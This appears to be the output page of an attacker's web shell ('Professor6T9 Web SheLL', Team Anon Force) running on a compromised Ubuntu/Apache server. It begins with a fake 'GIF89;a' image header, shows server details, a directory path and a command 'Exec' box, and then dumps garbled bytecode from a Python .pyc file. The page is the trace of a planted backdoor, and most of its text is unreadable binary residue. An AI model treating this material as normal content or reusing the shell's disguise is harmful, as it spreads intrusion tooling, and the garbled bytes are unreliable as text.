GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux sonniq.ru 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
127.0.0.1
/
lib
/
python3
/
dist-packages
/
dns
/
__pycache__
[ HOME ]
Exec
Submit
immutable.cpython-310.pyc
o x7�_� � @ sh d dl Zd dlZejdkreZd dlmZ nd dlmZ d dl mZ eG dd� dej j��Zdd� Z dS ) � N)� � )� immutable)�OrderedDictc @ s6 e Zd Zd dd�Zdd� Zdd� Zdd � Zd d� ZdS )�DictFc C s* |rt |t�r|| _nt|�| _d| _dS )a Make an immutable dictionary from the specified dictionary. If *no_copy* is `True`, then *dictionary* will be wrapped instead of copied. Only set this if you are sure there will be no external references to the dictionary. N)� isinstance�odict�_odict�_hash)�selfZ dictionaryZno_copy� r �//usr/lib/python3/dist-packages/dns/immutable.py�__init__ s z Dict.__init__c C s | j �|�S �N)r �__getitem__)r �keyr r r r s zDict.__getitem__c C sB | j d u rd}t| j�� �D ]}|t|�N }qt�| d|� | j S )Nr r )r �sortedr �keys�hash�object�__setattr__)r �hr r r r �__hash__# s z Dict.__hash__c C � t | j�S r )�lenr �r r r r �__len__, � zDict.__len__c C r r )�iterr r r r r �__iter__/ r z Dict.__iter__N)F)�__name__� __module__�__qualname__r r r r r r r r r r s r c C s� t | t�r t| �S t | t�r(zt| � | W S ty' tdd� | D �� Y S w t | t�r6tdd� | D ��S t | t�rRt� }| � � D ] \}}t |�||<